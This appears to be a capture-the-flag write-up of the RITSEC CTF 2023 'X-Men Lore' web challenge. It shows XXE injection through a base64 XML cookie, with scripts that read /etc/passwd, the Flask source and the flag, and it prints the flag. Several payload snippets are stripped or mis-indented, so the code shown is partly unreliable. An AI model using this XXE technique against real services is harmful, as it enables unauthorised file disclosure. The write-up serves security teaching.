# X-Men Lore

\- 238 Points / 227 Solves

## Background

The 90's X-Men Animated Series is better than the movies. Change my mind.

[https://xmen-lore-web.challenges.ctf.ritsec.club/](https://xmen-lore-
web.challenges.ctf.ritsec.club/)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142159.png)

## Enumeration

**Home page:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142237.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142246.png)

In here, we can choose an X-Men Character.

**View source page:**  
```html  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4='">  
Beast  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+U3Rvcm08L3htZW4+PC9pbnB1dD4='">  
Storm  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+SmVhbiBHcmV5PC94bWVuPjwvaW5wdXQ+'">  
Jean Grey  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+V29sdmVyaW5lPC94bWVuPjwvaW5wdXQ+'">  
Wolverine  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+Q3ljbG9wczwveG1lbj48L2lucHV0Pg=='">  
Cyclops  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+R2FtYml0PC94bWVuPjwvaW5wdXQ+'">  
Gambit  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+Um9ndWU8L3htZW4+PC9pbnB1dD4='">  
Rogue  
</button>  
  
  
<button  
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+SnViaWxlZTwveG1lbj48L2lucHV0Pg=='">  
Jubilee  
</button>  
  
```

When we click those buttons, **it'll set a new cookie for us**, and the key is
`xmen`, value is encoded in base64. You can tell it's base64 encoded is
because the last character has `=`, which is a padding in base64 encoding.

**Let's click on the "Beast" button:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142517.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142538.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142545.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401142636.png)

**Hmm... Let's decode that base64 string:**  
```shell  
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.01|14:24:43(HKT)]  
└> echo 'PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4=' | base64 -d  
<input><xmen>Beast</xmen></input>  
```

**Oh! It's an XML data:**  
```xml

<input>  
<xmen>Beast</xmen>  
</input>  
```

Maybe the server-side will decode our `xmen` cookie, then parse it's value to
the XML parser?

That being said, we can try ***XXE (XML External Entity) injection***!

## Exploitation

But first, let's try to change the `<xmen>` element's value to anything and
see what will happened:

**encode_xml.py:**  
```py  
#!/usr/bin/env python3

from base64 import b64encode

def main():  
payload = b'''<input><xmen>anything</xmen></input>'''  
base64Encoded = b64encode(payload)  
print(base64Encoded.decode())

if __name__ == '__main__':  
main()  
```

```shell  
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-
Lore)-[2023.04.01|14:33:49(HKT)]  
└> python3 encode_xml.py  
PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+YW55dGhpbmc8L3htZW4+PC9pbnB1dD4=  
```

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401143529.png)

Cool! It's ***reflected to the response***!!

**With that said, we can craft a payload to display the file content of
`/etc/passwd`:**  
```xml

]>  
<input>  
<xmen>&xx;;</xmen>  
</input>  
```

**What this payload does is we defined:**

\- The root element of the document is `root` (`!DOCTYPE root`)  
\- Then, inside that root element, **we defined an external entity (variable)
called `xxe`, which is using keyword `SYSTEM` to fetch file `/etc/passwd`**  
\- Finally, we want to **use the `xxe` entity in `<xmen>` tag**, so we can see
the output of `/etc/passwd`. To do so, we need to use `&entity_name;`

```py  
payload = b''' ]><input><xmen>&xx;;</xmen></input>'''  
```

```shell  
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-
Lore)-[2023.04.01|14:34:09(HKT)]  
└> python3 encode_xml.py  
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZUEUgcm9vdCBbIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+IF0+PGlucHV0Pjx4bWVuPiZ4eGU7PC94bWVuPjwvaW5wdXQ+  
```

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-
CTF-2023/images/Pasted%20image%2020230401143745.png)

Nice! We can confirm the `xmen` cookie is indeed vulnerable to XXE!!

But where's the flag??

Hmm... Let's ***view the server-side's source code***!

**During sending the payload request, I found that the response has a `Server`
header:**  
```http  
Server: gunicorn  
```

> _Gunicorn_ is a pure Python WSGI server with simple configuration and
> multiple worker implementations for performance tuning.

That being said, the back-end is using Python. Which means there's only 2
back-end web framework in Python: **Flask and Django**.

Usually the main application file is called `app.py`.

**After some testing, I found the source code is in `/home/user/app.py`:**  
```py  
#!/usr/bin/env python3

from base64 import b64encode  
import requests

def main():  
payload = b''' ]><input><xmen>&xx;;</xmen></input>'''  
base64Encoded = b64encode(payload).decode()  
cookie = {  
'xmen': base64Encoded  
}  
URL = 'https://xmen-lore-web.challenges.ctf.ritsec.club/xmen'

xmenResult = requests.get(URL, cookies=cookie)  
print(xmenResult.text)

if __name__ == '__main__':  
main()  
```

```shell  
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-
Lore)-[2023.04.01|14:52:39(HKT)]  
└> python3 encode_xml.py

<head>  
<title>X-Men Lore</title>  
<link rel="stylesheet" href="/static/style.css">  
</head>  
<button>Home</button>  
<body>  
  
  
<h1>from flask import Flask, render_template, request, redirect, url_for  
import lxml.etree as ET  
from base64 import b64decode  
app = Flask(__name__)

@app.route("/")  
def index():  
return render_template("index.html")

@app.route("/xmen")  
def xmen():  
cookie = request.cookies.get("xmen")  
try:  
b64decode(cookie)  
data = ET.fromstring(b64decode(cookie))  
except:  
return redirect(url_for("index"))  
return render_template("xmen.html", data=data)  
</h1>  
![](/static/from flask import Flask, render_template, request, redirect,
url_for<br />import lxml.etree as ET<br />from base64 import b64decode<br
/>app = Flask\(__name__\)</p>

<p>@app.route\("/"\)<br />def index\(\):<br />  return
render_template\("index.html"\)</p>

<p>@app.route\("/xmen"\)<br />def xmen\(\):<br />  cookie =
request.cookies.get\("xmen"\)<br />  try:<br />    b64decode\(cookie\)<br />
data = ET.fromstring\(b64decode\(cookie\)\)<br />  except:<br />    return
redirect\(url_for\("index"\)\)<br />  return render_template\("xmen.html",
data=data\)<br />.jpg)  
  
  
<iframe src="/static/[...]  
"></iframe>  
  
  
</body>  
```

**`/home/user/app.py`:**  
```py  
from flask import Flask, render_template, request, redirect, url_for  
import lxml.etree as ET  
from base64 import b64decode  
app = Flask(__name__)

@app.route('/')  
def index():  
return render_template('index.html')

@app.route('/xmen')  
def xmen():  
cookie = request.cookies.get('xmen')  
try:  
b64decode(cookie)  
data = ET.fromstring(b64decode(cookie))  
except:  
return redirect(url_for('index'))  
return render_template('xmen.html', data=data)  
```

Hmm... Nothing weird...

**After some "guessing", I found that the flag is in `/flag`:**  
```py  
payload = b''' ]><input><xmen>&xx;;</xmen></input>'''  
```

```shell  
┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/X-Men-
Lore)-[2023.04.01|15:04:31(HKT)]  
└> python3 encode_xml.py

<head>  
<title>X-Men Lore</title>  
<link rel="stylesheet" href="/static/style.css">  
</head>  
<button>Home</button>  
<body>  
  
  
<h1>RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}  
</h1>  
![](/static/RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}<br />.jpg)  
  
  
<iframe src="/static/RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}  
.html" title="RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}  
"></iframe>  
  
  
</body>  
```

Nice!

\- **Flag: `RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}`**

## Conclusion

What we've learned:

1\. XML External Entity (XXE) Injection  

Original writeup (https://siunam321.github.io/ctf/RITSEC-CTF-2023/Web/X-Men-
Lore/).